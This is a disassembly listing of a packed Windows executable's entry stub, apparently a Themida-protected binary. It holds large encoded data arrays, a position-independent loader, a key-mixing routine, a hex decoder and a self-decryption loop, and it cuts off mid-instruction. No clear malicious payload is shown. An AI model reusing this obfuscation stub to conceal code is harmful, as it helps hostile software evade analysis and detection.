0DF009423h, 1748F7E9h, 931E6C18h, 0FCE40629h dd 96119841h, 4C44D0ECh, 9FC0401Bh, 0A1A65877h, 49FB6500h dd 4C8E973Ch, 0AC4E0041h, 0C39EAD19h, 0BA03E8F4h, 3CC21881h dd 9841CD27h, 1A89A03Eh, 0FFE5BA61h, 0A8112C50h, 9BFB0003h dd 99E6EF6Ch, 0E900E47Eh, 10AAC8A1h, 2447BF49h, 430CF35h dd 92A414D6h, 0D922EB08h, 55A4A0A6h, 65431h, 9128C55Dh dd 0AF321B2Fh, 87D88654h, 0B236CA60h, 0C03855DEh, 0BCA26E41h dd 76E448A3h, 19783F0Ah, 444088B6h, 1FF4BF64h, 8E18D80Bh dd 0DD846013h, 0B5ECC1C4h, 0EF29808Fh, 12F75397h, 0FDE803F1h dd 379B212Fh, 44AC03B8h, 151E2D77h, 2E40738Bh, 4A0AD2DDh dd 40B8DDBDh, 534427B3h, 15044356h, 63F2BAC3h, 0AD322DC0h dd 0DD71EEh, 647FFB3Ch, 337B82AEh, 22D80C4Ch, 0D2EB00C9h dd 2D72DDE6h, 8315ECD0h, 28CA1B9h, 27ABF0Fh, 3848134h dd 2C303347h, 74EEAFh, 0CD629260h, 82D7FBEBh, 39BEC133h dd 3654D9EEh, 3FCB9450h, 0D058BDE7h, 0C8CECF02h, 8055F1BFh dd 93C42D10h, 0D86F00A2h, 5E68A109h, 0D201E829h, 0EA47ED83h dd 824C825h, 9E72023Dh, 0D99A8138h, 8F28444h, 857D3Bh dd 0C9A0633Eh, 7C81D7FFh, 532E01ABh, 0A3831EDCh, 0AFC887BAh dd 0BB80E52Ah, 2ECE34D6h, 7462288h, 472EAE94h, 0DE9808Fh dd 41FC91D9h, 202AFB37h, 7AB4F5C1h, 658A8107h, 443A608Ch dd 78B013Fh, 7DA180CCh, 16A1447h, 6CFFFF5Fh, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53BC59: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_53EFAE ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 5600h dd 0E8BA0000h, 53h, 9 dup(0) dd 72D60000h, 5Bh, 0C7D40000h, 0AC11h, 0 dd 45A50000h, 9566h, 0A6800B6h, 5044AFh, 0A06CFE10h, 0FFFFh dd 0Ah dup(0) dd 0F9C0000h, 2 dup(0) dd 0A4B80000h, 5Ah, 7 dup(0) dd 0BFFF0258h, 2A0Fh, 0Fh dup(0) dd 0FFF00000h, 12h, 0D5DF0000h, 5Ah, 9C0000h, 0DEFB0000h dd 0FFE02EDFh, 1D80012h, 40h, 0FD2D0000h, 8E520053h, 57h dd 2 dup(0) dd 0A1440000h, 2A7E77E7h, 1B1D0058h, 30434E4h, 7FFEh, 0AD1F0000h dd 0D146h, 28h dup(0) dd 3040000h, 27897FFEh, 12B5h, 2 dup(0) dd 0ACE80000h, 45F50000h, 0A8001BE9h, 0Ch dup(0) dd 0FFFCh, 0 dd 0D6120000h, 0A45Dh, 8F990000h, 5Ah, 5 dup(0) dd 8C0000h, 2 dup(0) dd 0A36B0000h, 0EB0057h, 0 dd 9F70000h, 304009Fh, 7FFEh, 7 dup(0) dd 0CF100000h, 0FF4Fh, 3 dup(0) dd 46DE0000h, 0EC9Bh, 3 dup(0) dd 8EB0000h, 8C0A0000h, 9Fh, 2 dup(0) dd 0A9A0000h, 3 dup(0) dd 36B0000h, 0ECA8h, 0 dd 3040000h, 3D437FFEh, 7693h, 2 dup(0) dd 7C0000h, 6 dup(0) dd 0B1680000h, 0AB00009Eh, 12h, 0 dd 8D8D0000h, 97E9E85Fh, 86530000h, 60058h, 5 dup(0) dd offset dword_580000 dd 3 dup(0) dd 0EB9F0000h, 0EA721C3Dh, 0FFA4h, 0 dd 8C0000h, 7 dup(0) dd 0E9F90000h, 0CEFDE204h, 57h, 5 dup(0) dd 0FFF00000h, 0A5E70003h, 0A3h, 2 dup(0) dd 39460000h, 8DD9h, 5 dup(0) dd 0FF54025Ah, 12h, 2 dup(0) dd 0D0E40000h, 0BE82h, 0 dd 0FF5C0000h, 180012h, 2 dup(0) dd 58700000h, 0D8F4h, 0 dd 0FF540000h, 417C0012h, 0F99877E8h, 53h, 3 dup(0) dd 0FAA90000h, 0E9C20056h, 6B5A0053h, 1F02BA28h, 0A0A94Eh dd 0F9CC0000h, 47A9h, 2 dup(0) dd 17470000h, 2 dup(0) dd 65520000h, 72617473h, 70704174h, 6578652Eh, 5 dup(0) dd 8C3E0000h, 1FFF0057h, 7 dup(0) dd 230000h, 53h, 3 dup(0) dd 71F90000h, 23D70057h, 0E20677DDh, 0A887h, 3 dup(0) dd 19FE0000h, 0FFFFh, 0 dd 9E500000h, 0FFFFh, 5 dup(0) dd 37AF0000h, 0B1120BBEh, 58h, 0FFF80000h, 939377FFh, 9Fh dd 6 dup(0) dd 0AC0000h, 4 dup(0) dd 0EBB30000h, 77F7h, 4 dup(0) dd 0D7060000h, 77E6h, 0Bh dup(0) dd 31A10000h, 5Bh, 2 dup(0) dd 10000000h, 8 dup(0) dd 700000h, 6080000h, 0FFFCh, 5 dup(0) dd 0B8BF0000h, 0AAB30ECAh, 7 dup(0) dd 6AEE0000h, 2 dup(0) dd 74420000h, 0B1h, 3 dup(0) dd 5FF40000h, 0AEh, 9 dup(0) dd 0FFB00000h, 23Fh, 5 dup(0) dd 10000000h, 40h, 2 dup(0) dd 0A00F0000h, 7AA9009Fh, 59h, 20000h, 4 dup(0) dd 9BE60000h, 9B74FFFFh, 0FFFFh, 7 dup(0) dd 6AEE0000h, 474h, 46F60000h, 9456h, 25h dup(0) dd 0F1240000h, 9BE60001h, 0FFFFh, 85h dup(0) dd 6CE40000h, 56h, 0F2280000h, 58h, 5 dup(0) dd 6ADF0000h, 0 dd 8DFF0000h, 8B82FFFFh, 77E7h, 4 dup(0) dd 0E3C70000h, 58h, 2 dup(0) dd 25C60000h, 5Bh, 2 dup(0) dd 0AA910000h, 7FFEh, 0 dd 390000h, 2 dup(0) dd 0E7290000h, 1BBh, 0 dd 2E560000h, 268B466h, 32CFh, 2 dup(0) dd 63C20000h, 6DDFh, 7 dup(0) dd 0B990000h, 5Ah, 4 dup(0) dd 0CED80000h, 1CCFh, 2 dup(0) dd 53180000h, 0FFFFh, 0 dd 0FCFC0000h, 8001h, 20000h, 3 dup(0) dd 8D8D0000h, 3B9Ah, 0Ah dup(0) dd 74900000h, 57h, 5 dup(0) dd 0FFDD0000h, 884A7Eh, 0 dd 0AA420000h, 266h, 3 dup(0) dd 6A000000h, 0 dd 2EC0000h, 0BFh, 8FAF0000h, 3D27h, 0F82F0000h, 0F6h dd 10000h, 0 dd 230000h, 53h, 8 dup(0) dd 0E77F0000h, 7FFFh, 69DD0000h, 0 dd 3040000h, 7FFEh, 4AF00000h, 0Eh, 32680000h, 0A0h, 3 dup(0) dd 4780000h, 0B60C005Ah, 8EF3h, 2 dup(0) dd 0EA720000h, 0FFA4h, 5 dup(0) dd 0F31C0000h, 440h, 0 dd 15680000h, 0A0h, 1Ah, 0Fh dup(0) dd 0CDF00000h, 0F8282A9Ah, 56h, 3 dup(0) dd 39200000h, 0A0h, 2 dup(0) dd 66440000h, 69DD0058h, 9Fh, 0Ah dup(0) dd 7FD80000h, 863D0057h, 8ABFh, 4 dup(0) dd 6CB00000h, 9Fh, 3 dup(0) dd 6B290000h, 3 dup(0) dd 17470000h, 0FFACh, 2 dup(0) dd 173F0000h, 0A85200h, 380000h, 4 dup(0) dd 0FFA80000h, 0FFFFh, 0AE8F0000h, 6A3A1126h, 6BFBh, 0 dd 10000h, 8C6A0000h, 57h, 2A040000h, 58h, 18BE0000h, 0B8ACh dd 11h dup(0) dd 0A00F0000h, 9Fh, 12h dup(0) dd 8650000h, 0 dd 40000h, 0B90A0000h, 6BA9h, 3 dup(0) dd 0FFFE0000h, 0FFFFh, 77F5h, 0A00F0000h, 9Fh, 92340000h dd 9Fh, 25CF0000h, 1005Ah, 0 dd 0F4E60000h, 53h, 3 dup(0) dd 0A13F0000h, 30477E7h, 3047FFEh, 17FFEh, 4 dup(0) dd 35B0000h, 5 dup(0) dd 65360000h, 0A377h, 0Fh dup(0) dd 4FF60000h, 57h, 3 dup(0) dd 0D0000000h, 0Dh, 4 dup(0) dd 8A680000h, 7FFEh, 67680000h, 22224676h, 22222222h, 2222h dd 3040000h, 7FFEh, 57840000h, 5Ah, 37AF0000h, 0BBEh, 3 dup(0) dd 91ED0000h, 0A60h, 3 dup(0) dd 10000h, 2 dup(0) dd 0C96A0000h, 77D4h, 2 dup(0) dd 3E680000h, 0F34477E8h, 0FF94h, 0Bh dup(0) dd 25C60000h, 76C005Bh, 28Ah, 95940000h, 1981h, 4 dup(0) dd 0C8E0000h, 68C4h, 99710000h, 0FFFFh, 20h dup(0) dd 0ADh, 0A8370000h, 77E7h, 2 dup(0) dd 0FFA40000h, 12h, 0 dd 33330000h, 2 dup(33333333h), 3333h, 360D0000h, 0FF300058h dd 0FFFFh, 0Ch dup(0) dd 425C0000h, 57h, 0 dd 60710000h, 57h, 2Ch dup(0) dd 0AC2C0000h, 7E51h, 0FFFF0000h, 8D53FFFFh, 0B73600A3h dd 3040057h, 7FFEh, 3 dup(0) dd 69DD0000h, 1434009Fh, 42000000h, 2730h, 2 dup(0) dd 2E0F0000h, 77F5h, 6 dup(0) dd 0BDA40000h, 0FFA8h, 23080000h, 0EA720059h, 0FFA4h, 2 dup(0) dd 69DD0000h, 72D6009Fh, 0F80E005Bh, 56h, 4 dup(0) dd 230000h, 1C6D0057h, 5Ah, 4 dup(0) dd 0A1FE0000h, 0AFh, 4 dup(0) dd 0B7360000h, 89Ch, 0 dd 0A1440000h, 0BF3677E7h, 57h, 0 dd 9B830000h, 7F66h, 3EA90000h, 5Ah, 0Fh dup(0) dd 0B4640000h, 650Ch, 9F10000h, 900058h, 463B0000h, 0A00F732Bh dd 9Fh, 0C4860000h, 77E7h, 0 dd 0E0860000h, 9 dup(0) dd 4FF60000h, 3E3B47ECh, 9Fh, 0 dd 3040000h, 0CEBB7FFEh, 0F5B3005Ah, 23E80058h, 0BC5900A0h dd 0FA4Ch, 0 dd 0FFFF0000h, 0AC5EFFFFh, 77E7h, 4 dup(0) dd 5FF10000h, 9D00FF60h, 0FFFFh, 3 dup(0) dd 50000h, 0D3020000h, 53h, 2C180000h, 59740933h, 0FCFC8655h dd 8001h, 0 dd 0EF70000h, 16D4h, 5 dup(0) dd 6AEE0000h, 0Ah dup(0) dd 10000h, 2 dup(0) dd 5A730000h, 3213FE46h, 5Ah, 9 dup(0) dd 840000h, 2 dup(0) dd 21830000h, 0 dd 259h, 3 dup(0) dd 0DC450000h, 5Ah, 0 dd 0BFh, 3 dup(0) dd 0FF600000h, 72D60012h, 5Bh, 4 dup(0) dd 0A0990000h, 77E7h, 6 dup(0) dd 7F290000h, 57h, 0 dd 99950000h, 0E8FB00A3h, 3042F14h, 7FFEh, 5 dup(0) dd 69DD0000h, 9Fh, 6 dup(0) dd 4A3B0000h, 6EA477E7h, 0Dh dup(0) dd 84BC0000h, 997741DEh, 0FCFC7FF7h, 8001h, 0 dd 4D910000h, 3BBCh, 5 dup(0) dd 0E9C20000h, 53h, 8 dup(0) dd 0FAD80000h, 1619h, 7 dup(0) dd 740000h, 6 dup(0) dd 0EA720000h, 0FFA4h, 0 dd 56430000h, 9 dup(0) dd 4FF60000h, 5 dup(0) dd 0E4790000h, 25CAh, 4 dup(0) dd 8D8D0000h, 696Dh, 0B1CA0000h, 0B400ADh, 4 dup(0) dd 230000h, 57h, 65650000h, 5Ah, 6CB0000h, 4 dup(0) dd 4, 0 dd 3040000h, 7FFEh, 8D8D0000h, 639Ah, 3 dup(0) dd 7FD80000h, 47BC00A1h, 0FBCBh, 0 dd 0FCFC0000h, 8001h, 8E520000h, 57h, 0 dd 0D43B0000h, 4EBF2239h, 0FFA7h, 0E9000040h, 8 dup(0) dd 0F6F40000h, 8005h, 2 dup(0) dd 77120000h, 0B877F5h, 0B000000h, 0C20374C0h, 448B0018h dd 0E8530C24h, 0 dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9FA037B8h dd 8BE0FF00h, 0FF042444h, 0E0h, 16h dup(0) dd 0C32D0000h, 0A1E40000h, 2 dup(0) dd 0EBB30000h, 77FCh, 0F4AA0000h, 3 dup(0) dd 3040000h, 7FFEh, 7 dup(0) dd 0A00F0000h, 9Fh, 0 dd 91ED0000h, 0A60h, 2 dup(0) dd 91ED0000h, 0A60h, 2 dup(0) dd 10000h, 6 dup(0) dd 0D5DF0000h, 5Ah, 2 dup(0) dd 0A020000h, 58h, 3 dup(0) dd 0E800000h, 0 dd 155C0000h, 2, 0 dd 22720000h, 0FCFC0059h, 0E0008001h, 9E2E004Dh, 7D108FBh dd 0 dd 180B0000h, 77F5h, 5 dup(0) dd 0EA720000h, 0FFA4h, 2 dup(0) dd 89480000h, 0F11C6782h, 7FB2h, 3 dup(0) dd 1B400000h, 0A90676B4h, 7BE7h, 3 dup(0) dd 0D1120000h, 25CF0000h, 5Ah, 22920000h, 4BA1009Fh, 24C8h dd 97840000h, 86ADh, 0 dd 6B9C0000h, 0 dd 0CF5F0000h, 57h, 5 dup(0) dd 74000000h, 5Ah, 21680000h, 77E8h, 3 dup(0) dd 9FA0000h, 0FF40h, 8 dup(0) dd 97000000h, 3636FFFFh, 3636h, 3 dup(0) dd 5CB50000h, 77E7h, 4 dup(0) dd 9C020000h, 0C817FA4Dh, 57h, 8A3A0000h, 30DFFED3h, 0A9C5h dd 0Bh dup(0) dd 0B8BF0000h, 0ECAh, 0Ah dup(0) dd 8C3E0000h, 70C40057h, 9Fh, 3040000h, 7FFEh, 5 dup(0) dd 3040000h, 987FFEh, 0E7D80000h, 4EFh, 2 dup(0) dd 0B90A0000h, 0EB996BA9h, 5B6Ch, 0 dd 0C8220000h, 69DD8818h, 9Fh, 0 dd 9BE60000h, 0FFFFh, 6 dup(0) dd 0DE3B0000h, 53h, 0FBB40000h, 96CAh, 2 dup(0) dd 3040000h, 7FFEh, 0A40000h, 0FF540000h, 0C96A0012h, 0CD877D4h dd 6C65h, 3 dup(0) dd 0ED8F0000h, 59h, 4 dup(0) dd 140000h, 0Eh, 4 dup(0) dd 259h, 7 dup(0) dd 8D2A0000h, 0FFA4h, 0 dd 91990000h, 450FDD6Ch, 772872C1h, 0A4E0h, 2 dup(0) dd 0CED80000h, 1CCFh, 4 dup(0) dd 79630000h, 77E7h, 0 dd 6180000h, 77E8h, 4 dup(0) dd 2D4D0000h, 57h, 7 dup(0) dd 0B7360000h, 740057h, 6 dup(0) dd 0CF460000h, 53h, 0 dd 0FE60000h, 9Eh, 8 dup(0) dd 3E0000h, 77E6h, 2 dup(0) dd 425C0000h, 22CF0057h, 59h, 9 dup(0) dd 24240000h, 2424h, 0 dd 0A0370000h, 9Fh, 3 dup(0) dd 0D5540000h, 425C009Eh, 8EC70057h, 2 dup(0) dd 0D3E90000h, 5CB5005Ah, 77E7h, 0A6F40000h, 0FFFFh, 3E3B0000h dd 9Fh, 0 dd 23E80000h, 0A0h, 2 dup(0) dd 0D3F80000h, 5 dup(0) dd 4F950000h, 0 dd 230000h, 57h, 10000h, 0 dd 15210000h, 1050CD8h, 0A28h, 3 dup(0) dd 0D00000h, 3 dup(0) dd 0F22B0000h, 0C5590058h, 3047E29h, 7FFEh, 7 dup(0) dd 9B830000h, 7F66h, 9Eh, 4 dup(0) dd 3040000h, 7FFEh, 2 dup(0) dd 1D240000h, 2F61h, 0A00000h, 0FFEDh, 51170000h, 0FFFBh dd 0 dd 5ECC0000h, 0C66877DDh, 252FFFFFh, 5Bh, 0 dd 3040000h, 7FFEh, 3C0000h, 2BDE0000h, 0E5E3009Fh, 59h dd 2 dup(0) dd 0EAE10000h, 0A384h, 0 dd 8B820000h, 77E7h, 0Dh dup(0) dd 397F0000h, 9E9Eh, 5 dup(0) dd 0EDE60000h, 425C2A5Fh, 57h, 0 dd 63C20000h, 6DDFh, 2 dup(0) dd 90C00000h, 4BCEh, 4 dup(0) dd 3040000h, 7FFEh, 2 dup(0) dd 73160000h, 30400A1h, 7FFEh, 6 dup(0) dd 0A00F0000h, 9Fh, 2C550000h, 16F13h, 4FF60000h, 57h dd 3040000h, 0DD1E7FFEh, 0FA810053h, 0D6EAh, 9BAC0000h dd 0A1h, 0 dd 0C46E0000h, 5Bh, 0 dd 9BFD0000h, 9Fh, 4 dup(0) dd 0AEF70000h, 17BFh, 3 dup(0) dd 72730000h, 9A9Eh, 1890000h, 2 dup(0) dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Bh dup(0) dd 97A40000h, 5Ah, 0 dd 53000000h, 666Fh, 2 dup(0) dd 6AEE0000h, 5 dup(0) dd 0FCFC0000h, 8001h, 0FAD10000h, 56h, 66890000h, 8008h dd 0Ah dup(0) dd 0F4E60000h, 53h, 2 dup(0) dd 0AC0000h, 0FFEDh, 0 dd 5E2E0000h, 69DD009Fh, 9Fh, 0 dd 80D70000h, 0FFA8h, 6 dup(0) dd 9F5D0000h, 3308522h, 0DDBCh, 0 dd 6FF20000h, 5Ah, 56290000h, 0A60h, 0FF540000h, 12h, 4E3A0000h dd 57h, 3 dup(0) dd 0EC0000h, 63B70000h, 7D6Bh, 8 dup(0) dd 0A3E80000h, 0FFFFh, 2 dup(0) dd 4FF60000h, 57h, 4 dup(0) dd 10000h, 8 dup(0) dd 0B5E20000h, 8A0Fh, 0A3E80000h, 3430FFFFh, 2A47312Dh dd 0C1E2DCDDh, 1, 3 dup(0) dd 0A00F0000h, 9Fh, 0 dd 915B0000h, 0E9009Fh, 4, 75B50000h, 940000h, 3 dup(0) dd 8BA00000h, 9393FFFFh, 9Fh, 2 dup(0) dd 7600000h, 58h, 0FF600000h, 40012h, 8 dup(0) dd 10000h, 0 dd 3040000h, 0A17C7FFEh, 59h, 71h dup(0) dd 8E520000h, 57h, 0Bh dup(0) dd 3F710000h, 0DE7B0057h, 0A77h, 4 dup(0) dd 189A0000h, 77DDh, 3 dup(0) dd 23FA0000h, 3 dup(0) dd 3040000h, 5D87FFEh, 0EA7277E8h, 0B8BFFFA4h, 0ECAh, 0D6A00000h dd 0A62h, 2 dup(0) dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Eh dup(0) dd 48280000h, 2A48h, 5 dup(0) dd 0A5FD0000h, 77E7h, 0 dd 8C0A0000h, 79EB009Fh, 3900h, 0 dd 0A00F0000h, 5629009Fh, 0A60h, 3 dup(0) dd 3040000h, 7FFEh, 4 dup(0) dd 680000h, 6 dup(0) dd 0A00F0000h, 9Fh, 6 dup(0) dd 3040000h, 7FFEh, 0Ah dup(0) dd 0FF540000h, 9C370012h, 9Fh, 6 dup(0) dd 0A00F0000h, 9Fh, 0Dh dup(0) dd 6AEE0000h, 2 dup(0) dd 780000h, 0 dd 0FFFF0000h, 3 dup(0) dd 95120000h, 0FFFFh, 0 dd 68540000h, 64696D65h, 61h, 1Bh dup(0) dd 13330000h, 0FA561E35h, 9Fh, 3 dup(0) dd 94990000h, 9Fh, 4 dup(0) dd 0C32D0000h, 5Ah, 2 dup(0) dd 0FCFC0000h, 8001h, 7 dup(0) dd 0D2B30000h, 0FFA8h, 8 dup(0) dd 0BC7D0000h, 20264h, 2B0000h, 0EDE20000h, 8158h, 5 dup(0) dd 40000h, 5FF10000h, 0FF60h, 13h dup(0) dd 8E520000h, 0D3E90057h, 5Ah, 0EA720000h, 0FFA4h, 7 dup(0) dd 6FF20000h, 8E8005Ah, 0 dd 77E6h, 2 dup(0) dd 0FD080000h, 12h, 6AEE0000h, 0 dd 97200000h, 0FFFFh, 4 dup(0) dd 56290000h, 56h, 0B1h dup(0) dd 0FCFC0000h, 8001h, 4 dup(0) dd 0F9F80000h, 3, 0 dd 3A00000h, 5 dup(0) dd 0F3FD0000h, 5Ah, 2 dup(0) dd 190000h, 2 dup(0) dd 15640000h, 0A0h, 6 dup(0) dd 0F110000h, 234A0000h, 14h, 4 dup(0) dd 0E5EA0000h, 291B0058h, 513Dh, 3 dup(0) dd 2FE80000h, 8D8D77E8h, 0E85Fh, 2 dup(0) dd 0FCFC0000h, 8001h, 2D9C0000h, 8 dup(0) dd 230000h, 0F59Dh, 4 dup(0) dd 0E8BA0000h, 91ED0053h, 0A60h, 3 dup(0) dd 17670000h, 3D8B72F0h, 5Ah, 0 dd 15680000h, 2D500A0h, 0FF96h, 44AB0000h, 0F1F30058h dd 31160058h, 0FFA8h, 74900000h, 57h, 11110000h, 30DF1111h dd 0A9C5h, 0Ah dup(0) dd 6AEE0000h, 0A8370000h, 77E7h, 72D60000h, 5Bh, 2 dup(0) dd 0BEBD0000h, 76D7h, 14h dup(0) dd 36E0000h, 7FFEh, 2 dup(0) dd 74000000h, 5Ah, 0 dd 97520000h, 77A4h, 2 dup(0) dd 77F5h, 0 dd 7600000h, 0E78F0058h, 0C8h, 0 dd 0BFFD0240h, 3040056h, 7FFEh, 0 dd 7870000h, 976h, 841E0000h, 5Ah, 0FFFF0000h, 6CE1FFFFh dd 809Dh, 2 dup(0) dd 84F40000h, 5Ah, 0 dd 7F060000h, 57h, 10000h, 58h, 7 dup(0) dd 10E50000h, 59F000AAh, 77DDh, 0FE140000h, 38h, 0 dd 0A8F00000h, 6C151A73h, 93EFB9E6h, 77E7h, 34100000h dd 0DE3A1FA8h, 53h, 0 dd 0E8FE0000h, 57h, 0 dd 0FFA40000h, 0EA720012h, 0FFA4h, 2 dup(0) dd 0FF800000h, 0FFFFh, 25Bh, 0FEF00000h, 12h, 0FFC40000h dd 12h, 0EA720000h, 0FFA4h, 0FA810000h, 56h, 0 dd 3A00000h, 0 dd 54000000h, 0Ah dup(0) dd 0C0000h, 240h, 8 dup(0) dd 31450000h, 9Fh, 0Fh dup(0) dd 4A80000h, 5Ah, 0Bh dup(0) dd 8D8D0000h, 0E85Fh, 0FCFC0000h, 8001h, 0 dd 0A5FD0000h, 77E7h, 4 dup(0) dd 687B0000h, 56h, 3 dup(0) dd 57380000h, 0FDF0h, 2 dup(0) dd 0FFF00000h, 30477FFh, 227FFEh, 1244h, 2 dup(0) dd 77DDh, 20h dup(0) dd 800000h, 0 dd 3040000h, 7FFEh, 0 dd 0E5E90000h, 0DB100000h, 0B4Bh, 2 dup(0) dd 0B7360000h, 89Ch, 0 dd 79E30000h, 0FAFF0057h, 0FDDFh, 3 dup(0) dd 5643028Ah, 0AC0000h, 0FFEDh, 0FFFF0000h, 0FFFFh, 0 dd 43000000h, 2 dup(0) dd 77D4h, 2 dup(0) dd 0EA720000h, 0FFA4h, 3 dup(0) dd 6AEE0000h, 5 dup(0) dd 56540000h, 424h, 0 dd 11A10000h, 8E65h, 0 dd 8D8D0000h, 0E85Fh, 0 dd 50080000h, 0E5E30057h, 3040059h, 7FFEh, 0 dd 70000000h, 0EA720003h, 0FFA4h, 7 dup(0) dd 7FD80000h, 57h, 567B0000h, 0C6000058h, 76CD0003h, 77E7h dd 0 dd 69DD0000h, 2009Fh, 2D860000h, 57h, 4 dup(0) dd 0F0820000h, 0C000C202h, 1Bh, 3 dup(0) dd 0A6E90000h, 77EBh, 3040000h, 7FFEh, 0 dd 6AEE0000h, 4 dup(0) dd 10000h, 30DF0000h, 0A9C5h, 0Ch dup(0) dd 7F5D0000h, 3259h, 0 dd 69DD0000h, 9Fh, 4 dup(0) dd 21210000h, 0EA722121h, 0FFA4h, 3 dup(0) dd 6ADF0000h, 0 dd 56000000h, 0 dd 14230000h, 5Bh, 0 dd 22700000h, 96C9005Ah, 8B7D0057h, 0B13499DDh db 0A1h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53EFAE: ; CODE XREF: start:loc_53BC59j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 607335Fh mov [ebp+6072F51h], edx mov [ebp+607181Dh], esi mov [ebp+60700FDh], eax cmp dword ptr [ebp+6072899h], 0 jz short loc_53EFE6 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_53EFE6: ; CODE XREF: start+5EFC4j mov eax, [esp+40h+var_1C] mov [ebp+6071189h], eax push 45h call sub_53F09A push 783749Ah call sub_53F0E0 push 0A894B25h call sub_53F0E0 jmp loc_53F224 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53F09A proc near ; CODE XREF: start+5EFDEp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 607344Dh mov ebx, edx mov [ebp+var_28], 0 loc_53F0B6: ; CODE XREF: sub_53F09A+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_53F0D5 mov eax, [ebp+arg_0] mov [ebx+60733B7h], eax inc [ebp+arg_0] inc ebx jmp short loc_53F0B6 ; --------------------------------------------------------------------------- loc_53F0D5: ; CODE XREF: sub_53F09A+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_53F09A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53F0E0 proc near ; CODE XREF: start+5EFE8p start+5EFF2p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 6073496h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_53F106: ; CODE XREF: sub_53F0E0+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_53F106 mov [ebp+var_84], 0 lea edi, [edx+60733B7h] lea esi, [ebp+var_80] loc_53F136: ; CODE XREF: sub_53F0E0+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_53F142: ; CODE XREF: sub_53F0E0+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_53F142 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_53F136 popa leave retn 4 sub_53F0E0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_53F180 ; --------------------------------------------------------------------------- loc_53F17C: ; CODE XREF: Themida_:0053F183j inc dword ptr [ebp-4] inc esi loc_53F180: ; CODE XREF: Themida_:0053F17Aj cmp byte ptr [esi], 0 jnz short loc_53F17C mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_53F211 ; --------------------------------------------------------------------------- loc_53F192: ; CODE XREF: Themida_:0053F214j mov dword ptr [ebp-8], 0 jmp short loc_53F208 ; --------------------------------------------------------------------------- loc_53F19B: ; CODE XREF: Themida_:0053F20Cj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_53F1F5 ; --------------------------------------------------------------------------- loc_53F1AB: ; CODE XREF: Themida_:0053F1F9j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_53F1CD cmp bl, 39h ja short loc_53F1CD sub bl, 30h jmp short loc_53F1EF ; --------------------------------------------------------------------------- loc_53F1CD: ; CODE XREF: Themida_:0053F1C1j ; Themida_:0053F1C6j cmp bl, 61h jb short loc_53F1DF cmp bl, 66h ja short loc_53F1DF sub bl, 61h add bl, 0Ah jmp short loc_53F1EF ; --------------------------------------------------------------------------- loc_53F1DF: ; CODE XREF: Themida_:0053F1D0j ; Themida_:0053F1D5j cmp bl, 41h jb short loc_53F1EF cmp bl, 46h ja short loc_53F1EF sub bl, 41h add bl, 0Ah loc_53F1EF: ; CODE XREF: Themida_:0053F1CBj ; Themida_:0053F1DDj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_53F1F5: ; CODE XREF: Themida_:0053F1A9j cmp dword ptr [ebp-0Ch], 2 jb short loc_53F1AB cmp dword ptr [ebp-10h], 0 jbe short loc_53F205 mov eax, [ebp-10h] stosb loc_53F205: ; CODE XREF: Themida_:0053F1FFj inc dword ptr [ebp-8] loc_53F208: ; CODE XREF: Themida_:0053F199j cmp dword ptr [ebp-8], 2 jb short loc_53F19B add edx, 4 loc_53F211: ; CODE XREF: Themida_:0053F190j cmp edx, [ebp-4] jb loc_53F192 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53F224: ; CODE XREF: start+5EFF7j mov ecx, 7000h lea edi, [ebp+60735DCh] loc_53F22F: ; CODE XREF: start+5F21Fj dec byte ptr [edi] inc edi dec ecx jnz short loc_53F22F mov 